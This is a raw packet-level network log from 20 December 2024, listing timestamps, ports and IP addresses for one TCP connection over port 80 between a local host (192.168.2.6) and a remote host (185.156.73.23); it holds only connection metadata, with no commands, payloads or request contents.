Dec 20, 2024 16:36:48.193124056 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.193912029 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.193958998 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.194046974 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.194103003 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.194597960 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.194634914 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.195307016 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.195347071 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.195559025 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.195607901 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.195679903 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.195718050 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.196517944 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.196666956 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.196717024 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.196757078 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.197438955 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.197484970 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.197805882 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.197865009 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.198311090 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.198355913 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.198391914 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.198434114 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.199232101 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.199279070 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.199539900 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.199584007 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.200156927 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.200195074 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.200244904 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.200278044 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.201097965 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.201211929 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.201318026 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.201361895 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.202029943 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.202044010 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.202068090 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.202088118 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.202908993 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.203126907 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.203186989 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.203866959 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.203985929 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.204009056 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.204217911 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.204818964 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.204865932 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.205148935 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.205199957 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.205703974 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.205743074 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.205884933 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.205940962 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.206792116 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.206842899 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.206883907 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.206923962 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.207541943 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.207612991 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.207688093 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.207735062 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.208511114 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.208554029 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.208753109 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.208795071 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.209412098 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.209544897 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.209609985 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.209706068 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.210474014 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.210516930 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.210695982 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.210870981 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.211350918 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.211390972 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.211447954 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.211493015 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.212255955 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.212337971 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.212378025 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.213180065 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.213232040 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.213490963 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.213689089 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.214133024 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.214174986 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.214540005 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.214601994 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.215013981 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.215054989 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.215224981 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.215269089 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.217761040 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.217792034 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.217804909 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.217834949 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.217863083 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.218774080 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.218790054 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.218803883 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.218830109 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.218853951 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.219042063 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.219054937 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.219094992 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.219626904 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.219897985 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.219943047 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.220596075 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.220637083 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.221146107 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.221189976 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.221472025 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.221513987 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.221785069 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.221823931 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.222482920 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.222527027 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.223304987 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.223347902 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.223434925 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.223449945 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.223478079 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.223486900 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.224575996 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.224622965 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.225269079 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.225285053 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.225310087 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.225318909 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.225383997 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.226222992 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.226238012 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.226264000 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.226288080 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.227229118 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.227648020 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.227691889 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.228255033 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.228296995 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.228337049 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.228401899 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.228946924 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.228992939 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.229257107 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.229298115 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.230138063 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.230426073 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.230468988 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.230814934 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.230855942 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.374455929 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.374560118 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.374651909 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.374651909 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.374793053 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.374835968 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.375037909 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.375089884 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.375922918 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.376033068 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.376113892 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.376672029 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.376713037 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.376980066 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.377487898 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.377612114 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.377705097 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.377827883 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.377978086 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.378500938 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.378572941 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.378602982 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.378648043 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.379419088 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.379844904 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.379894972 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.380342960 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.380390882 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.380465031 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.380507946 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.381390095 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.381441116 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.381493092 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.381535053 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.382472992 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.382523060 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.382697105 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.382740974 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.384145975 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.384157896 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.384201050 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.384708881 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.384768009 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.384815931 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.384860992 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.385344028 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.385360003 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.385401011 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.385942936 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.385989904 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.386442900 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.386502028 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.386888027 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.386934996 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.387247086 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.387291908 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.387821913 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.387867928 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.387986898 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.388042927 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.388963938 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.389007092 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.389167070 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.389208078 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.389683962 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.389766932 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.390166044 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.390273094 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.390692949 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.390707016 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.390757084 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.391452074 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.391562939 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.391599894 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.391659021 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.392570972 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.392617941 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.392671108 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.392713070 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.393385887 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.393434048 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.393517971 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.393692017 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.394277096 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.394364119 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.394629002 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.394802094 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.395317078 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.395395994 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.395608902 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.395659924 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.396140099 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.396209002 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.396410942 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.396461010 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.397088051 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.397130966 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.397248030 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.397294998 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.398127079 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.398140907 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.398197889 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.398886919 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.398943901 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.399086952 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.399127007 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.399880886 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.400012016 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.400101900 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.400154114 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.400779009 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.400820017 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.401329994 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.401408911 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.401725054 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.401737928 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.401768923 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.401793957 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.402609110 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.402688980 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.402781010 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.402870893 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.403580904 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.403624058 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.403662920 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.403718948 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.404475927 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.404524088 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.404591084 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.404634953 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.405380964 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.405427933 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.405596018 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.405673981 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.406359911 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.406421900 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.406447887 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.406488895 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.407264948 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.407305002 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.407381058 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.407423019 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.408238888 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.408288956 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.408334017 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.408494949 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.409095049 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.409179926 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.409914970 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.409964085 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.410023928 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.410037041 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.410096884 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.410098076 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.410952091 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.411000967 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.411067009 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.411117077 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.411946058 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.412007093 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.412091970 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.412159920 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.412919044 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.412990093 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.413048983 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.413089991 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.413861036 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.413921118 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.414084911 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.414125919 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.414647102 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.414685011 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.414980888 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.415021896 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.415606022 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.415699959 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.415805101 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.415847063 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.416585922 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.416641951 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.416940928 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.416985035 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.417500019 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.417582035 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:48.418020964 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:48.418064117 CET	49962	80	192.168.2.6	185.156.73.23
